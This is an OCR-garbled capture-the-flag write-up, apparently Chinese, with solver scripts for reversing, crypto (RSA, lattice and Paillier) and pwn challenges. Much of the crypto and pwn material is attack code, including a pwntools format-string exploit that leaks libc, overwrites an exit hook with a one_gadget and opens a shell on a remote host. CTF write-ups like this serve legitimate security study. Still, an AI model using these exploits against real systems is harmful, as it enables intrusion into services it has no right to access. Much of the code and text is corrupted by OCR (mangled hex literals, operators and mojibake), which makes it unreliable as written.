a2 = [OxA5, OxCF, oxCD, 0xD6, ©xC5, 0xC3, OxBl, OxC5, @xD2, @xD9, 0xD7, OxC7, OxD6, OxCD, OxD4, 0OxD8, 0xC3,
OxBB, OxCD, 0xD8, OxCC, OxC3, OxBO, OxC5, 0xD8, OxC9, OxDC, @, 0, 0, 0, 0]



for i in range(32):

c=20
for j in range(i+1):
c "= az2(j]

a.append(c)

orders = [0, 5, 5, 2, 2, 3, 4, 4, 3, 2, 0, 3, 0, 3, 2,1, 5,1, 3,1, 5,5, 2, 4, 0, 0, 4, 5, 4, 4, 5, 5][::
-1]

print '----------
for i in range(32):
print a,"',"’
if orders[i] ==
funl(a, b)
elif orders[i] ==
fun2(a, b)
elif orders[i] ==
fun3(a, b)
elif orders[i] ==
fund(a, b)
elif orders[i] == 4:
fun5(a, b)
elif orders[i] == 5:
funé(a, b)
print '----------
print (b)

def get_aas2(orders):
b = [ord(c) for ¢ in 'flag{12345678901234567890123456}" ]
a =[]
a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0el774e3b7389e5"' .decode( 'hex")
a2 [6xA5, OxCF, @xCD, oxD6, OxC5, ©xC3, oxBl, OxC5, ©xD2, @0xD9, oxD7, 0xC7, ©xD6, OxCD, ©xD4, OxD8, OxC3,
OxBB, OxCD, ©xD8, ©xCC, OxC3, 0xBO, OxC5, 0xD8, ©xC9, OxDC]
a4 = [ |
for i in range(32):
a4 .append(ord(a3[i])”a2[i%len(a2)])
for i in range(32):
c =20
for j in range(i+l):
c = a4lj]
.append(c)

]

aas = ||
for i in range(32):
aas.append(al:])
if orders[i] == 0:
funl(a, b)
elif orders[i] =
fun2(a, b)
elif orders[i]
fun3(a, b)
elif orders[i]
fund(a, b)
elif orders[i]
fun5(a, b)
elif orders[i] =
funé(a, b)
return aas

1}
=

I
1}
N

I
I
w

I
1
I

"
Ul

def get_aas(orders):



o
n

lord(c) for c in 't1ag{12345678901234567890123456}" |
a =[]
a2 = [OxA5, OxCF, oxCD, oxD6, OxC5, oxC3, OxBl, oOxC5, oxD2, oxD9, oOxD7, oxC7, oxD6, OxCD, oxD4, oxD8, oxC3,
OxBB, oOxCD, oxD8, ©xCC, oxC3, ©xBo, oxC5, OxD8, ©xC9, oxDC, @, 0, 0, 0, 0]
for i in range(32):
c =20
for j in range(i+1):
c "= a2[j]
a.append(c)
aas = [ |
for i in range(32):
aas.append(al:])
if orders[i] ==
funl(a, b)
elif orders[i] =
fun2(a, b)
elif orders[i]
fun3(a, b)
elif orders[i]
fund(a, b)
elif orders[i]
fun5(a, b)
elif orders[i] =
funé(a, b)
return aas

1l
[y

1]
1]
N

1]
Il
w

1
1
I

1l
Ul

def dec(aas, orders, seed):

#b = [101, 46, 7, 63, 148, 47, 164, 57, 127, 160, 41, 36, 28, 175, 229, 120, 228, 102, 147, 78, 254, 68, 207
, 240, 223, 246, 251, 73, 235, 24, 215, 30]

#b = [132, 13, 239, 89, 97, 68, 214, 77, 139, 199, 61, 244, 220, 107, 175, 6, 222, 75, 100, 91, 167, 143, 13
5, 74, 72, 246, 81, 54, 83, 64, 165, 216]

bs = 164(@x2F34A83A1B38C557) + 164 (OXEE8F2FO4EAC69739) + 164(0x486FC9246780515E) + 164 (OXEBC2C2BOC7BD7F5B)

b = [ord(i) for i in bs]

re_orders = orders[::-1]

for i in range(32):

a = aas[31-i]

if re_orders[i] == 0:
funl(a, b)
elif re_orders[i] == 1:
fun2(a, b)
elif re_orders[i] == 2:
fun3(a, b)
elif re_orders[i] == 3:
fun4(a, b)
elif re_orders[i] == 4:
fun5(a, b)
elif re_orders[i] == 5:
defuné(a, b)
#print b
s = ''".join(chr(i) for i in b)

is_printable = True
for i in range(10):
if b[i] > ox80:
is_printable = False
break
if is_printable:
print seed, s
return is_printable

def srand(s):



global seed
seed = s

# microsoft c runtime implementation
def rand():
global seed
seed = (seed * 214013 + 2531011) % 2**64

return (seed >> 16)&0Ox7fff

def gen_order(seed=1):
srand(seed)
orders = []
for i in range(32):
orders.append(rand() % 6)
return orders

orders = gen_order(seed=1)

aas = get_aas(orders)
dec(aas, orders, 1)

flag{Kmode_Umode_Communication!}

**2‘ **%?ﬁ%{

S MR £ BB RN S T B H 1 e R A+ 1R BR 4 A AR R i keyiE 1T sha256, i DABLAE Nkey ki A4 Bk omp SO & ik 1T aesn
%§§’ j]u%%?iVj#]O

[T SUD BE/3TO(R T, (N,
*(_QWORD *)&pbData = _ PAIRGA_ (DWORD1(vO9), HIDWORD(v2));
HIDWORD(phData) = v9;
DWORD2(phbData) = _time64(8); S i
phHash = @;
vl = 8;
if ( CryptCreateHash(*( DWORD *)this, @x80@Cu, @, @, &hHash) )// ER— 1T 8 Hash#E: E#lexseaciiFEsha 256
{
if ( CryptHashData(phHash, (const BYTE *)&phData, @xl@u, 0) )// HHE#IEF #MHashfl. FFEHash?fF &
| {
V5 = CryptDeriveKey (*( DWORD *)this, @x66@Eu, phHash, @, (HCRYPTKEY *)(this + 4));// BHEFIER— 218540 &oxeoe=1tFEARS 128
vi=8;
vi = 1;
if (vs )
vio=1;
}
¥
if ( phHash )
CryptDestroyHash(phHash);
bif ( vz )

ARG



#coding:utf-8

import base64

from hashlib import *

from Crypto.Cipher import AES

def decrypt(data, key):
cryptos = AES.new(key, AES.MODE_ECB)
decrpytBytes = list(base64.b64decode(data))
decrpytBytes = bytes(decrpytBytes)
data = cryptos.decrypt(decrpytBytes)
return data

key = "f4b6bb19108b56fc60a61fc967cOafbe71d2d9048acOffe931c901e75689eb46"[:32]
key = bytes.fromhex(key)

f1 = open("flag.bmp.ctf_crypter", "rb")

f2 = open("flag.bmp"”, "wb")

data = fl.read()

def xor(enc, data):
res = []
for i in range(len(a)):
res += [enc[i]~data[i]]
return bytes(res)

for i in range(len(data)//16):
enc = base64.b6dencode(data[16*i:16*(i+1)])
if i > e:
ans = xor(decrypt(enc, key), data[16*(i-1):16*i])
else:
ans = decrypt(enc, key)
fp2.write(ans)
fl.close()
f2.close()

ﬁ@%”‘?%?ﬂﬂagllﬂ"l: :

sdn.net/qg_38154820

3. **LightningSystem

MhexH Bbin3 . binsCFHidafTH, @EFFarmBEry. 7 K Mspitk D EE 7512 F W EHE . @idtipsFEH T8
logic2# 4 #T Flogic.salf] LE 24N E, Hechall 288N, RIBEBIRBUHES12F T HHE . 445 HLightningSystem.binf
g, ATLAEHEANvm, BHASElvmcodeThag. 4k4EaHrvmeode iYL, BRIEE, BJERiEexpWlT:

BN



def brute(v4, v5, a, b, j):

should_out = [@x12, Ox67, OxOF, OxDB, OxF6, Ox0A, OxOF, 0x39, OxF6, OxC9, OxF5, OxCl, OxF2, ©xA3, 0x0D, ©xDe
, OxF5, 0x01, 0x0C, Ox6F, OxOE, 0x39, OxF2, 0x80, OxF5, OxE4, oxeC, oxD7, OxF8, ox68, 0x0C, 0x96, OxF5, OxA5, Ox
OF, Ox9F, OxOF, 0x31, OxF9, Ox2E, ©x1B, 0x07]

vl3 = a

vid = b

vl5 = 7 * (j ~ @x4D)

vlie = (v5 + 7 * (j ~ ox4D)) & oxff

vl8 = v13 - 0x20 + vlé6

v19 = (v14 - 0x20) << 7

ol = ((v4 + ((v19 + v18) >> 8) + ((v15 + v5) >> 8)) & oOxff)

02 = ((v18 + v19) & oxff)

if (o1 == should_out[2*j]) & (02 == should_out[2*j+1]):

print a, b

return True
return False

vd = 234
v5 = 6

S =
for k in range(21):
find = False
for a in range(0x20, 0x80):
for b in range(0x20, 0x80):
if brute(v4, v5, a, b, k):
s += chr(a)+chr(b)
find = True
break
if find:
break
if not find:
print ('fail')
print s

B Zlflagin F: flag{31fd5c30-dc82-abd0-741b-9bad25f2e692}
**4, **Rev_Dizzy
BRFmFERN, 587 & B BE o RFEAT hn ik 2k
REGRK, BAM T, FEHEXH (4 ~deal.cpp)



E@tﬂﬂagﬁ[ﬂs:

7| "C\Users\chen\Desktop\#¥z=#14E _E\Dizzy eff0eBb1eB85eabcfo1d71dac530e9c9c\Debug\reverse.exe” — O X

rslng With ScR!pt!}p) any to continueg

Joe—/ sha256 /B M, —ILEBBEIUAL, 10 AHER, F—RMEET, FoRNEMREEARX, keyHERSA THE—FIK
#HHE (119, 201, 718, 6471 , B TXATHEMEFHEMEHTAILE R, 7T Ll T sage i Fikey.solve_left()sk 3k 15 H 8] 4= m% 1) bl
MLAERE .

: key=matrix(ZZ, 4, 1, [119, 241, 718, 647]1)
E=matrix(ZZ, 1.
(269865700

5171754164467008560
3283419144048

';J".1f'1E253?J_E 139564

18217086 30¢
419703
3890658854:
[ = -In:‘T 1 1r L

564138735277257!

C—matruc (EZ, 12,1,B. cnlumn( ))
A=key., solve_left(C)

print(4)

£ >

[263649494857153084116552322640026892 708704523 7576358 797046274 28861744 239824087544 706911427923497181418081141 79967087 2495368713195091 20010
41847322260160539554560800699243630507189314495556636122959832107284625210145048836139205169621 3637225348824 730032235466 446390160257054151
81561970566229856928293934464 26824638 /119

0

0

0]
[202798307055619603766849973722145880157913653 7630220 757337390 764506 76567942251535143493783540695461527662427418012771497540841671 792515809
HE091444385155766419191688243860414085396 755351 535715099965090344525632791535515616130438244 730118758044 306300588282 7285950693111982319234
9545016541214481806449936957017139624/119

0

0

0]

(2349576314209 704415209846460908025566109779017033194483955329168769410663802221 406952710480 789969638 1039989118 7648525594 7511 4646385416812
9827195189406 794 72908296254 746017862989149349092525163451505413%81805233851637358487665114737581109089216962311685187901686884 224048629335
8556113268007647155607145360557344409,/119

0

0

0]
[240058445413308963101412069891568560616875267465180735403222873142327500701843601134680837368527525762804626633416239430636763277041392256

{EX A B B BR 1) R AH R 4, BRAE R BEAR H — N TC R RS A



HSeRkey, keyR—AN204494EKE, FeLl— 1205 EBBhintR FI5ERE. Bt RZA*R=B, CHIBXRA.
https://ctf.njupt.edu.cn/546.htmi#diamond &% 182 4 fifik, A HARED R iE SuE e BI AT

msg = open(r'C:\\Users\\wcj\\Desktop\\guess_c31fa29ffba2ff77bl2dec354b8909e6\\hint', 'r').readlines()
B =[]
for var in msg:
var = var[1:-2].split(" ")
for x in var:
B.append(int(x))
BB = []
for i in range(@, len(B), 20):
BB.append(B[i: i + 20])
As = []
for i in range(1000):
shuffle(BB)
for line in matrix(len(BB), 20, BB).LLL(delta=float(randint(30000, 99999)/100000)):
if line[0] < O:
line = -line
if line not in As and all(map(lambda x: 100 <= x <= 1000, line)):
print(len(BB), line)
As.append(line)
[241, 232, 548, 400, 186, 333, 646, 727, 286, 877, 810, 121, 237, 745, 201, 542, 244, 396, 158, 641]
[119, 521, 142, 637, 614, 746, 299, 416, 638, 288, 995, 498, 639, 585, 114, 885, 558, 783, 899, 751]
= [718, 550, 349, 939, 148, 355, 942, 685, 313, 577, 184, 130, 307, 983, 611, 903, 271, 530, 566, 427]
[647, 918, 613, 936, 461, 281, 977, 888, 128, 653, 309, 780, 526, 216, 944, 123, 430, 860, 113, 129]
matrix([b, a, c, d])
= [1

for i in range(20):

R 32 aa n T w
1}

for j in range(4):
K.append(m[j][i])
print(K)
print(len(K)==80)

R B 8 B Sk R paillier, ZEVERRIEFSHR, WRD(C1c2)=m1+m2, BHUAD(C k)=km. FHE=BEERFZHHEA
BA3C, RS ARk Bl — AN SIS DO IXANE SO P 7 R B AR 5 4%, AR 55453 B A 2 B SO — A%, XAt AT ATHSE A
Fiftikey, AT i 55 =25 4% B i R BB AN 35 3C



import socket

from pwn import *

from pwnlib.util.iters import mbruteforce
from hashlib import sha256

K = [119, 241, 718, 647, 521, 232, 550, 918, 142, 548, 349, 613, 637, 400, 939, 936, 614, 186, 148, 461, 746, 33
3, 355, 281, 299, 646, 942, 977, 416, 727, 685, 888, 638, 286, 313, 128, 288, 877, 577, 653, 995, 810, 184, 309,
498, 121, 130, 780, 639, 237, 307, 526, 585, 745, 983, 216, 114, 201, 611, 944, 885, 542, 903, 123, 558, 244, 2

71, 430, 783, 396, 530, 860, 899, 158, 566, 113, 751, 641, 427, 129]

def main():
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.connect(('47.104.85.225", 57811))
msg = sk.recv(1024).decode()
suffix = msg[1l@:msg.find("')")]
cipher = msg[msg.find('==") + 3:-1]

proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==

tring.digits, length=4, method='fixed")
sk.send((proof + '\n').encode())
for _ in range(32):
msg = sk.recv(1024).decode()
while True:

if msg.find('Please give me one decimal ciphertext.') != -1:

break

msg += sk.recv(1024).decode()
n = int(msg[msg.find('n = ") + 4: msg.find('g = ') - 1])
sk.send('1\n".encode())
msg = sk.recv(1024).decode()
msg = sk.recv(1024).decode()
sk.send('4\n'.encode())
msg = sk.recv(1024).decode()
sk.send('5\n'.encode())
msg = sk.recv(1024).decode()
msg = sk.recv(1024).decode()
cipher_text = int(msg[:msg.find('Step') - 1])
cipher_text = (cipher_text ** 2) % (n ** 2)
sk.send((str(cipher_text) + '\n').encode())
msg = sk.recv(1024).decode()
msg = sk.recv(1024).decode()
plaint = int(msg[:msg.find('Step') - 1])
m = plaint // 40
index = K.index(m)
if index % 2 ==

sk.send('0\n'.encode())
else:

sk.send('1\n'.encode())
msg = sk.recv(20).decode()
if(msg == 'sorry'):

exit(1)

flag = sk.recv(1024).decode()
print(flag)

if _name__ == '_main__':

main()

flag{e87fdfb6-8007-4e1c-861f-5bde3c8badb3}

cipher, string.ascii_letters + s



2. *myRSA

AR08 I B A S

def encry(message,key,p,q,e
k1,k2 = key[random.randint (0,127 key[random.randint (0,127
X = p*¥*2 * (p + 3*q - 1 + gq**2 * (g + 3*p - 1
y = 2%p*q + p + ¢
z = k1 + k2
C

pow(b21l(message),e,p*q
return x * ¢ +y * ¢ + 2z

n == p*q
encry == x*c+y*c+z
== c*(x+y)+z
== c*(p"2*(p+3*q-1)+q 2% (q+3*p-1)+2*p*q+p+q)+z
== c*(pA3+3*q*pA2_pA2+qA3+3*q*pA2_qA2+2*p*q+p+q)+Z
== c*( (p"3+3*q*p"2+3*q*pr2+q"3) - (p"2-2*p*q+q"2) + (p+q) )+z
== c*( (p+q)"3 - (p"2+2*p*q+q"2) + (p+q) - 4*p*q)+z
== c*( (p+q)"3 - (p+q)"2 + (p+q) - 4*n)+z

Lmessage D AIN, BicBHl, W

C (p+9)”3 - (p+9)"2 + (p+q) - 4*n ) + z//c == encry//c
bit_length(z) = bit_length(c)

(p+g9)”~3 - (p+q)~2 + (p+q) = encry//c + 4*n

p+q = iroot(encry//c + 4*n,3)

B3| prq J5, BN ESEEIp M q, RFE

encry(falg) == c*( (p+q)"3 - (p+q)"2 + (p+q) - 4*p+q)+z
encry(falg)//( (p+a)*3 - (p+d)*2 + (p+q) - 4*p+q ) = ¢

c = encry(falg)//( (p+q)"3 - (p+q)"2 + (p+q) - 4*p+q )

pow(flag,e,p*q) == c

flag = pow(c,d,p*q)

R HSFEME:



: $ nc 47.104.85.225 49856
SHA-256(?+zsBJ4=6t1iSj) = 426d32a419f81b0Obb2c4342a1618060ad@94bef59ec8afdcl3alae5c12c@73cc
iq9g
I'm a CryptoRookie,so my Crypto system take time, please wait a minute XD!

This is my public key:

n = 85343149578176060673525681026723930359314280768242385609024815828556712907874238886300667543103765988586168603631056110
828361309591875660584941941481131092974185146750844915150566700701092563758372252836639762879237827599338268809569117654436
310368636789827651104134868900261762104527595991833761714901016029

e = 65537

1. encry
2. getflag
3. exit

1

Give me your message

123456

Your encry message:
105373287756342103942318018207056724895113233474538384206517559444291374325564458162829935057543845664205750932828630502829

421110368856772784757449082198034834405011617207370781985693178239051493374933415204965262530381690146459520225010213093464
989483816574798355968626256136465430160720859598955776299806476466769412478819481700794165326427988495181589303730517671784
092779839924300337807278823503948

1. encry

2. getflag

3. exit

2

This is your favourite:

454290573758015984361161126262811922788755078401937487579079634614218474633801258967721156564975754624859004052141021296088
980113896281079737825700103991596426503507575094089473968746944563893361448273886607332373914110733362866368001364669002738
540783848149392686860094417167606048872651224504789189640531484807929947408609762054624949645581390736093100707064204367843
770956253500452956970787266407106360175299552284981057764308021200628000230080295901166574595815192713921576623749344127096
235109866174624137703038268714280160476563698761263045817706939008171964455359487525305018326387123255659560601103557128168
884398217553297448525018481589736937600226945431670247899467168039685000720178976703743528438795723822518269229648079592317
649607172977245430485797171405656

HAEREIT:

from gmpy2 import *

from libnum import *

import hashlib, string

import string
string.ascii_letters+string.digits

def getHash(salt, result
characters = string.ascii_letters+string.digits
for cl1 in characters
for c2 in characters
for ¢3 in characters
for c4 in characters
proof = (cl + c2 + c3 + c4
if hashlib.sha256( (proof + salt).encode hexdigest() == result
return proof

# print(getHash('22DTYHroGWCn', 'e4c9ef8db51891583283e46918102679b1a6c3dfe39fc03b6358dfc25a774b87"))

n = 853431495781760606735256810267239303593142807682423856090248158285567129078742388863006675431037659885861686
0363105611082836130959187566058494194148113109297418514675084491515056670070109256375837225283663976287923782759
9338268809569117654436310368636789827651104134868900261762104527595991833761714901016029

e = 65537

mls = b'123456"

ccl = 1053732877563421039423180182070567248951132334745383842065175594442913743255644581628299350575438456642057
5093282863050282924131285407954242601594463567494500723322696928649225552276194417769378396440204084951581448073
2059253751703782424818957331522695828579625990399140552544980352436208260945967283728637409348330898050232258063
8427343148706548867007963380035975467324108844587512388298658471397784321368282268008972884240109794179234802507
8086497181175593454262071346020784799403506557487942111036885677278475744908219803483440501161720737078198569317
8239051493374933415204965262530381690146459520225010213093464909483816574798355968626256136465430160720859598955
776299806476466769412478819481700794165326427988495181589303730517671784092779839924300337807278823503948



flagcc = 4542905737580159843611611262628119227887550784019374875790796346142184746338012589677211565649757546248
5900405214102129608898011389628107973782570010399159642650350757509408947396874694456389336144827388660733237391
4110733362866368001364669002738540783848149392686860094417167606048872651224504789189640531484807929947408609762
0546249496455813907360931007070642043678437709562535004529569707872664071063601752995522849810577643080212006280
0023008029590116657459581519271392157662374934412709623510986617462413770303826871428016047656369876126304581770
6939008171964455359487525305018326387123255659560601103557128168884398217553297448525018481589736937600226945431
670247899467168039685000720178976703743528438795723822518269229648079592317649607172977245430485797171405656

ml = s2n(mls)

cl = powmod(ml,e,n)
X = iroot(ccl//cl+4*n,3)[0]

while True:
t = iroot(x*x-4*n,2)

if t[1]:
p = (x+t[@])//2
q = (x-t[e8])//2
if p*q == n:
print(p,q)
break
X = X-1

= invert(e, (p-1)*(q-1))

=p**2 * (p+3*q - 1)+ g2 * (q+ 3% -1)
2*p*q + p + ¢

= X+y

flagc = flagcc//t+100

while True:

T < X Qa
1]

flag = powmod(flagc,d,n)

f = n2s(int(flag))

if b'ctf' in f or b'flag' in f or b'CTF' in f or b'FLAG' in f:
print(f)
break

flagc = flagc - 1

**3. **Random_RSA
pythonBE HLEUHE [F i BEALE R 7 7= AL I BEALEUF SUARRD, S8 AP A i BENLEUT 51 7 BUR % thidp, 5

https://blog.csdn.net/weixin_45369385/article/details/109208109% 1§ &4 dpitt #& i R B AAY, BEEFBIT (python2iz4T)

# -*- coding: utf-8 -*-

from Crypto.Util.number import *
import gmpy2

import libnum

import random

import binascii

import os

n=81196282992606113591233615204680597645208562279327854026981376917977843644855180528227037752692498558370026353
2449814679000571579974627607320193721859558465079774566577601256821251043092418021088536184684914633262680164501
19817181368743376919334016359137566652069490881871670703767378496685419790016705210391
€=61505256223993349534474550877787675500827332878941621261477860880689799960938202020614342208518869582019307850
7894937015893094535660958812941663366734879092218606418096225248139592847222850697553108909722555454369890826547
05098907006694780949725756312169019688455553997031840488852954588581160550377081811151

e = 65537

#rands=[[58, 53, 122],[145, 124, 244],[5, 19, 192],[255, 23, 64],[57, 113, 194],[246, 205, 162],[112, 87, 95],[2



15, 147, 105],[16, 131, 38],[234, 36, 46],[68, 61, 146],[148, 61, 9],[139, 77, 32],[96, 56, 160],[121, 76, 17],[
114, 246, 92],[178, 206, 60],[168, 147, 26],[168, 41, 68],[24, 93, 84],[175, 43, 88],[147, 97, 153],[42, 94, 45]
,[150, 103, 127],[68, 163, 62],[165, 37, 89],[219, 248, 59],[241, 182, 8],[146, 211, 146],[88, 226, 2],[48, 150,
56],[87, 109, 255],[227, 216, 65],[23, 190, 10],[5, 25, 64],[6, 12, 124],[53, 113, 124],[255, 192, 158],[61, 23
9, 5],[62, 108, 86],[123, 44, 64],[195, 192, 30],[30, 82, 95],[56, 178, 165],[68, 77, 239],[166, 247, 226],[17,
46, 114],[91, 71, 156],[157, 43, 182],[146, 6, 42],[148, 143, 161],[108, 33, 139],[139, 169, 157],[71, 140, 25],
[28, 153, 26],[241, 221, 235],[28, 131, 141],[159, 111, 184],[47, 206, 11],[220, 152, 157],[41, 213, 97],[4, 220
, 10],[77, 13, 248],[94, 146, 110],[25, 250, 226],[218, 162, 109],[189, 238, 66],[91, 18, 131],[23, 239, 190],[1
59, 33, 72],[183, 78, 208],[209, 213, 101],[111, 50, 220],[166, 104, 233],[1706, 144, 10],[187, 87, 175],[195, 59
, 104],[165, 179, 179],[99, 247, 153],[195, 61, 100],[223, 159, 165],[230, 93, 184],[87, 28, 35],[35, 122, 38],[
158, 188, 163],[229, 192, 222],[12, 12, 192],[207, 95, 224],[127, 113, 137],[22, 114, 143],[13, 45, 144],[70, 14
0, 211],[57, 101, 42],[132, 62, 129],[40, 128, 124],[1, 132, 161],[164, 33, 133],[252, 201, 32],[8, 18, 247],[1,
88, 55],[201, 135, 186],[101, 254, 125],[236, 196, 39],[148, 24, 103],[101, 29, 253],[97, 156, 64],[96, 103, 91
1,[50, 48, 80],[206, 22, 93],[11, 114, 174],[61, 132, 247],[215, 32, 232],[95, 128, 96],[57, 35, 228],[163, 143,
107],[178, 250, 28],[64, 107, 225],[106, 115, 207],[85, 134, 21],[118, 201, 76],[234, 34, 22],[241, 236, 122],[
111, 185, 127],[1, 26, 164],[254, 57, 117],[243, 27, 32],[161, 88, 80],[50, 165, 93],[87, 182, 216],[184, 159, 6
3],[167, 166, 123],[37, 78, 33],[186, 81, 58],[48, 3, 239],[70, 186, 13],[56, 108, 178],[54, 55, 235],[105, 180,
105],[16, 194, 98],[136, 11, 41],[18, 203, 79],[185, 114, 170],[148, 181, 223],[118, 57, 160],[23, 250, 181],[2
35, 219, 228],[44, 151, 38],[185, 224, 134],[42, 162, 122],[3, 9, 158],[129, 245, 2],[66, 241, 92],[80, 124, 36]
]
res=[55, 5, 183, 192, 103, 32, 211, 116, 102, 120, 118, 54, 120, 145, 185, 254, 77, 144, 70, 54, 193, 73, 64, 0O,
79, 244, 190, 23, 215, 187, 53, 176, 27, 138, 42, 89, 158, 254, 159, 133, 78, 11, 155, 163, 145, 248, 14, 179,
23, 226, 220, 201, 5, 71, 241, 195, 75, 191, 237, 108, 141, 141, 185, 76, 7, 113, 191, 48, 135, 139, 100, 83, 21
2, 242, 21, 143, 255, 164, 146, 119, 173, 255, 140, 193, 173, 2, 224, 205, 68, 10, 77, 180, 24, 23, 196, 205, 10
8, 28, 243, 80, 140, 4, 98, 76, 217, 70, 208, 202, 78, 177, 124, 10, 168, 165, 223, 105, 157, 152, 48, 152, 51,
133, 190, 202, 136, 204, 44, 33, 58, 4, 196, 219, 71, 150, 68, 162, 175, 218, 173, 19, 201, 100, 100, 85, 201, 2
4, 59, 186, 46, 130, 147, 219, 22, 81]
# res = [48, 187, 242, 82, 159, 17, 153, 125, 154, 127, 74, 37, 162, 190, 27, 236, 201, @, 209, 87, 74, 247, 218
, 92, 206, 134, 60, 120, 132, 2, 221, 60, 98, 96, 120, 249, 18, 117, 107, 156, 207, 94, 141, 208, 78, 61, 192, 3
4, 121, 96, 212, 207, 82, 71, 7, 191, 207, 232, 38, 227, 98, 222, 222, 234, 84, 9, 180, 33, 22, 113, 154, 170, 2
31, 64, 44, 214, 164, 130, 197, 167, 70, 11, 241, 52, 145, 82, 42, 8, 214, 69, 98, 102, 122, 79, 91, 180, 146, 1
17, 29, 124, 21, 83, 125, 123, 251, 209, 191, 121, 212, 202, 244, 77, 136, 80, 224, 153, 181, 209, 50, 173, 62,
61, 5, 164, 209, 120, 75, 138, 47, 76, 196, 117, 199, 242, 211, 157, 85, 103, 243, 96, 16, 145, 157, 68, 25, 105
, 109, 136, 11, 228, 36, 79, 115, 250]
seeds=[4827, 9522, 552, 880, 7467, 7742, 9425, 4803, 6146, 4366, 1126, 4707, 1138, 2367, 1081, 5577, 4592, 5897,
4565, 2012, 2700, 1331, 9638, 7741, 50, 824, 8321, 7411, 6145, 1271, 7637, 5481, 8474, 2085, 2421, 590, 7733, 9
427, 3278, 5361, 1284, 2280, 7001, 8573, 5494, 7431, 2765, 827, 102, 1419, 6528, 735, 5653, 109, 4158, 5877, 597
5, 1527, 3027, 9776, 5263, 5211, 1293, 5976, 7759, 3268, 1893, 6546, 4684, 419, 8334, 7621, 1649, 6840, 2975, 86
05, 5714, 2709, 1109, 358, 2858, 6868, 2442, 8431, 8316, 5446, 9356, 2817, 2941, 3177, 7388, 4149, 4634, 4316, 5
377, 4327, 1774, 6613, 5728, 1751, 8478, 3132, 4680, 3308, 9769, 8341, 1627, 3501, 1046, 2609, 7190, 5706, 3627,
8867, 2458, 607, 642, 5436, 6355, 6326, 1481, 9887, 205, 5511, 537, 8576, 6376, 3619, 6609, 8473, 2139, 3889, 1
309, 9878, 2182, 8572, 9275, 5235, 6989, 6592, 4618, 7883, 5702, 3999, 925, 2419, 7838, 3073, 488, 21, 3280, 991
5, 3672, 579]

ress =
dp = "'
for i in range(0,154):
random.seed(seeds[i])
rands = []
for j in range(90,4):
rands.append(random.randint(0,255))
# print(rands)
ress+=chr((res[i]) ~ rands[i % 4])
# dp += str((res[i1]) » rands[i % 4])
print(ress)
# print(dp)

dp = 53720074261611961544056405041107366591901831940529667230760412666108931586780928454502325087932795851633049
18807656946147575280063208168816457346755227057



import gmpy2

for x in range(1, e
if(e *dp % x == 1
p=2(e*dp-1)// x+1
if(n % p '= 0
continue
qg=n//p
fain = (p-1) * (g-1
d = gmpy2.invert(e, fain
m = pow(c, d, n
if(len(hex(m)[2 % 2 ==1
continue

print("m:", m
print("flag:", binascii.a2b_hex(hex(m)[2

pwn
*1. **note
scanfiB B A LT R Z R NAH, BBl LREFstdoutfe4t, W RAME L, Z 5 D{EEMNES:

7| printf("say ? ");

8 read(@, buf, @xe4uLl);

9 printf("? ");

18| _ _isoc99_scanf(buf, buf);
11, printf("know");

12| return ©LL;

13(}

) 4 Ox73243725 [* '%7Ss' */
- <+ 0Oxfbadz887
<+ Oxa /* "\n' */

— 0x56364de50068 <+ '|3.show
— Ox7ff : 0 < Ox1

<4 CMp

BJEF LS Kexit_hook, #1#F dl_rtid_lock_recursive’jone gadget, 24ifi Fexit i 7] 75 Fshell
exp:

#lusr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import sys

pc="./note"

reomote_addr=["47.104.70.90",25315

elf = ELF(pc

libc = elf.libc

context.binary=pc

context.terminal=| "gnome-terminal”,"'-x",'sh", " '-c’

if len(sys.argv)==
# p=process(pc)
context.log level="debug"

nnnnnnnnnnnnnnnn "IN pDDCI NAAR"T .1 IMTahe~_ 9 272 A"



P—P1 ULES3\PU, S1IV=] LU_FNLLUAU . «/ 1lUL-£4.40.5U [
if len(sys.argv)==2 :
if "1 in sys.argv[1]:
p=process(pc)
if 'r' in sys.argv[1]:
p = remote(reomote_addr[0], reomote_addr[1])
if 'n' not in sys.argv[1]:
context.log level="debug"

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda : p.sendline(x)
p.recv(x)

X
rv = lambda x :
sa = lambda a,

b : p.sendafter(a,b)

sla = lambda a,b : p.sendlineafter(a,b)

shell= lambda :p.interactive()

ru7f = lambda : u64(ru('\x7f"')[-6:].1just(8,"'\x00"))
rve = lambda : u64(rv(6)+'\x00'*2)

def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m"'%(s,addr))

what_choice="choice:

ch_add="1"
ch_dele=""
ch_edit="2"
ch_show="3"

what_size="size:
what_c="content:
what_idx=""
def add(size,c='a'):
ru(what_choice)
sl(ch_add)
ru(what_size)
sl(str(size)) # 0x100
ru(what_c)
sn(c)
# ru(what_c)

def edit(c,hhh=""):
ru(what_choice)
sl(ch_edit)
ru("say ?» ")
sn(c) ##0x64
ru("? ")
s1(hhh)

def show():
ru(what_choice)
sl(ch_show)
ru("content:")

add(0x20)

bp(0x1235, '\nc")
edit('%7%s'.1just (8, '\x00"),p64(0xfbadl800)+"'\x00"'*3*8+'\n")

libc_base = ru7f() - 0x3c36e0
lg("libc_base",libc_base)



rtld_lock = libc_base + 0x5f0f48
one_addr=1ibc_base+0xf1247

edit('%7%s'.1just(8, '\x00")+p64(rtld_lock),p64(one_addr))

ru(what_choice)
s1('e")

shell()

flag{006c45fa-81d5-45eb-8f8c-eb6833daadf5}
**2. **lemon

TR REN S AT Sod, 1S lagf A B L
P fEbssBt L E T — Mkt

e L N A - R T
if ( fd <@)

exit(-1);
name = (_ int64)&s[64];
read(fd, s, ex3euLL);
close(fd);

puts("tell me you name first: ");
im0 C-~TawAAl BuraA ol 1Y

FiERERBERMABERESN Thr, BT DMESR N, Bl o8 s B RERN— Mt Sohflaghthil, 2 ERIRHE
gEi, AR ] EE Hflag

J P ® W00~ 3L

exp:

# -*- coding:utf8 -*-
from pwn import *

pc = "./lemon_pwn"

libc = ELF('./1libc-2.26.s0")

context.binary = pc

context.terminal = ["gnome-terminal”, '-x', 'sh', '-c']
context.log_level= 'debug'

remote_addr

["47.104.70.90", 34524]

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)

rl = lambda : p.recvline()

sl = lambda x : p.sendline(x)

rv = lambda x : p.recv(x)

sa = lambda a,b : p.sendafter(a,b)

sla = lambda a,b : p.sendlineafter(a,b)
